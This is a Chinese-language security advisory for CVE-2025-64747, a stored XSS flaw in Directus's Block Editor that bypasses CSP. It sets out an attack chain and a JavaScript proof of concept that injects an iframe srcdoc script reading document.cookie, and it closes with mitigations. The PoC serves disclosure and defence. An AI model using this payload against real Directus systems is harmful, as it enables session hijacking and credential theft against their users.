IPBUF安全漏洞报告
English
CVE-2025-64747 CVSS 5.5 中危

CVE-2025-64747 Directus存储型XSS漏洞

披露日期: 2025-11-13

漏洞信息

漏洞编号
CVE-2025-64747
漏洞类型
存储型XSS
CVSS评分
5.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Directus

相关标签

存储型XSSDirectusCVE-2025-64747CSP绕过Block Editor权限升级会话劫持实时APISQL数据库管理

漏洞概述

Directus是一款实时API和App仪表板,用于管理SQL数据库内容。该产品中存在一个存储型跨站脚本(Stored XSS)漏洞,影响11.13.0之前的所有版本。攻击者需要具备文件上传(upload files)和编辑项目(edit item)权限,即可通过Block Editor界面注入恶意JavaScript代码。该漏洞的独特之处在于攻击者能够结合文件上传功能与iframe的srcdoc属性,成功绕过内容安全策略(CSP)的限制。恶意脚本会被持久化存储在数据库中,当其他用户访问包含恶意内容的页面时,脚本会自动执行,可能导致会话劫持、敏感数据窃取、凭据盗取等严重安全风险。由于漏洞需要特定权限才能利用,且CVSS评分显示机密性、完整性和可用性影响均为低级别,因此被评定为中等严重程度。

技术细节

该漏洞存在于Directus的Block Editor组件中。攻击者首先利用文件上传功能上传包含恶意载荷的文件,然后通过Block Editor的编辑功能在内容中注入特殊构造的HTML/JS代码。关键利用技术是利用iframe标签的srcdoc属性,该属性允许直接在内联定义iframe内容,从而绕过传统CSP对外部脚本加载的限制。攻击者构造的payload示例:<iframe srcdoc='<script>恶意代码</script>'>,当页面渲染时,浏览器会执行srcdoc中的脚本内容。由于该内容存储在数据库中属于同一源,浏览器不会将其视为外部或不受信的脚本。攻击者可通过此方式获取用户会话cookie、执行任意操作、修改页面内容或重定向用户到钓鱼站点。漏洞的根因在于Directus对Block Editor输入内容的过滤和转义不充分,未能有效防止危险HTML标签和属性的使用。

攻击链分析

STEP 1
步骤1:权限获取
攻击者获取具有upload files和edit item权限的账户,或通过社会工程学诱导具有这些权限的用户
STEP 2
步骤2:文件上传
攻击者通过Directus的文件上传功能上传包含恶意载荷的文件(可选步骤,用于辅助攻击)
STEP 3
步骤3:构造恶意内容
攻击者在Block Editor中构造包含<iframe srcdoc='<script>恶意代码</script>'>的恶意内容
STEP 4
步骤4:持久化存储
恶意内容被保存到数据库中,由于存储在Directus同一源内,绕过了CSP对外部脚本的限制
STEP 5
步骤5:触发XSS执行
当其他用户(管理员或普通用户)访问或预览包含恶意内容的页面时,iframe srcdoc中的JavaScript自动执行
STEP 6
步骤6:会话劫持/数据窃取
恶意脚本可窃取用户会话cookie、凭据、API密钥等敏感信息,或执行恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-64747 PoC - Stored XSS via Block Editor in Directus // Requires: upload files + edit item permissions // Step 1: Upload a file const uploadFile = async (file) => { const formData = new FormData(); formData.append('file', file); const response = await fetch('/files', { method: 'POST', headers: { 'Authorization': 'Bearer YOUR_TOKEN' }, body: formData }); return response.json(); }; // Step 2: Create item with malicious Block Editor content const createMaliciousItem = async () => { const maliciousPayload = { title: 'Test Item', content: { type: 'root', children: [ { type: 'html', html: '<iframe srcdoc="<script>alert(document.cookie)</script>">' } ] } }; const response = await fetch('/items/your_collection', { method: 'POST', headers: { 'Authorization': 'Bearer YOUR_TOKEN', 'Content-Type': 'application/json' }, body: JSON.stringify(maliciousPayload) }); return response.json(); }; // Step 3: When other users view the item, XSS executes // The iframe srcdoc bypasses CSP and executes JS in the context of the Directus origin

影响范围

Directus < 11.13.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)限制用户的upload files和edit item权限,仅授予必要人员;2)在Web应用防火墙(WAF)层面添加规则,检测和阻止包含srcdoc属性的iframe标签;3)监控和审查Block Editor的输入内容,防止危险HTML标签的使用;4)启用严格的HTTP安全头,包括更严格的CSP配置。但请注意,这些措施仅为临时解决方案,最根本的修复是升级到11.13.0版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表